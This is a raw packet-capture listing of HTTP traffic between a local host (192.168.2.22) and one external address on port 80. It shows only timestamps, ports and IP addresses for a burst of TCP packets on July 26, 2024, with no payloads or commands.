Jul 26, 2024 15:25:05.011498928 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.080970049 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.080988884 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.081001043 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.081043005 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.081075907 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.081089020 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.081099987 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.081109047 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.081113100 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.081134081 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.081468105 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.081478119 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.081489086 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.081499100 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.081509113 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.081513882 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.081521034 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.081531048 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.081531048 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.081542969 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.081552982 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.081553936 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.081573963 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.082290888 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.082304001 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.082314014 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.082324028 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.082334042 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.082344055 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.082345963 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.082354069 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.082360029 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.082366943 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.082376957 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.082386971 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.082387924 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.082412958 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.086538076 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.086599112 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.103630066 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.103673935 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.103687048 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.103720903 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.103781939 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.103794098 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.103806019 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.103816986 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.103821039 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.103835106 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.104141951 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.104155064 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.104181051 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.104268074 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.104279041 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.104289055 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.104300976 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.104306936 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.104321957 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.104332924 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.104343891 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.104345083 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.104365110 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.105112076 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.105123997 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.105134010 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.105144978 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.105155945 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.105165958 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.105176926 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.105181932 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.105181932 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.105190039 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.105201960 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.105211020 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.105214119 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.105232000 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.105247021 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.105959892 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.105972052 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.105982065 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.105992079 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.106002092 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.106012106 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.106015921 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.106024027 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.106029987 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.106035948 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.106046915 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.106051922 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.106057882 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.106066942 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.106092930 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.106797934 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.106810093 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.106820107 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.106829882 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.106841087 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.106846094 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.106851101 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.106861115 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.106863022 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.106875896 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.106884956 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.106887102 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.106899977 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.106916904 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.107795000 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.107806921 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.107820988 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.107831955 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.107836962 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.107844114 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.107855082 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.107856989 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.107868910 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.107876062 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.107880116 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.107891083 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.107898951 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.107903957 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.107919931 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.107964039 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.108588934 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.108599901 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.108609915 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.108620882 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.108630896 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.108640909 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.108644962 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.108645916 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.108653069 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.108664989 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.108670950 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.108678102 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.108690023 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.108695984 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.108716965 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.108733892 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.109797001 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.109807968 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.109817982 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.109828949 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.109838963 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.109838963 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.109849930 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.109862089 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.109862089 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.109874010 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.109884024 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.109890938 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.109895945 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.109914064 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.110167027 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.110177994 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.110188007 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.110198975 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.110203028 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.110229969 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.168062925 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.168081045 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.168102980 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.168113947 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.168124914 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.168135881 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.168135881 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.168148041 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.168184042 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.168184042 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.171863079 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.171900988 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.171912909 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.171911955 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.171966076 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.172049046 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.172060013 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.172071934 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.172082901 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.172090054 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.172112942 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.172527075 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.172542095 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.172553062 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.172563076 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.172574997 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.172578096 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.172586918 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.172589064 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.172600031 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.172611952 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.172617912 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.172626019 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.172646999 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.173235893 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.173249006 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.173260927 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.173269987 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.173273087 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.173290014 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.186924934 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.186949015 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.186963081 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.186975002 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.186988115 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.186999083 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.187000990 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.187011003 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.187031984 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.187031984 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.187211037 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.187222958 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.187242985 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.187386990 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.187397003 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.187407970 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.187419891 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.187422991 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.187432051 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.187441111 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.187444925 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.187458038 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.187464952 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.187489033 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.187824011 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.187834978 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.187846899 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.187855005 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.187865019 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.187886953 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.188050985 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.188064098 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.188074112 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.188086033 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.188093901 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.188117027 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.188349009 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.188359976 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.188370943 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.188381910 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.188385010 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.188410044 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.188612938 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.189261913 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.189273119 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.189284086 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.189312935 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.189424038 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.189434052 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.189445019 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.189450979 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.189459085 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.189472914 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.189802885 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.189812899 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.189822912 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.189834118 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.189836979 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.189846992 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.189855099 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.189858913 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.189870119 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.189881086 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.189881086 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.189893007 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.189896107 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.189924002 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.190974951 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.190987110 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.190996885 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191009998 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191020012 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191020966 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.191031933 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191032887 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.191044092 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191054106 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191062927 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.191063881 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191076040 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191081047 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.191087008 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191098928 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191104889 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.191123009 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191128016 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.191306114 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191317081 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191327095 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191338062 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191344976 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.191349030 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191360950 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191365004 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.191371918 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191384077 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191394091 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191395044 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.191405058 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191410065 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.191422939 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.191441059 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.192159891 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.192171097 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.192181110 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.192193031 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.192198992 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.192203999 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.192215919 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.192226887 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.192229033 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.192243099 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.192246914 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.192257881 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.192267895 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.192277908 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.192277908 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.192291021 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.192301989 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.192325115 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.193032026 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.193048000 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.193080902 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.258372068 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.258388996 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.258402109 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.258446932 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.266681910 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.266697884 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.266707897 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.266720057 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.266756058 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.269761086 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.269829035 CEST	49164	80	192.168.2.22	198.46.176.133
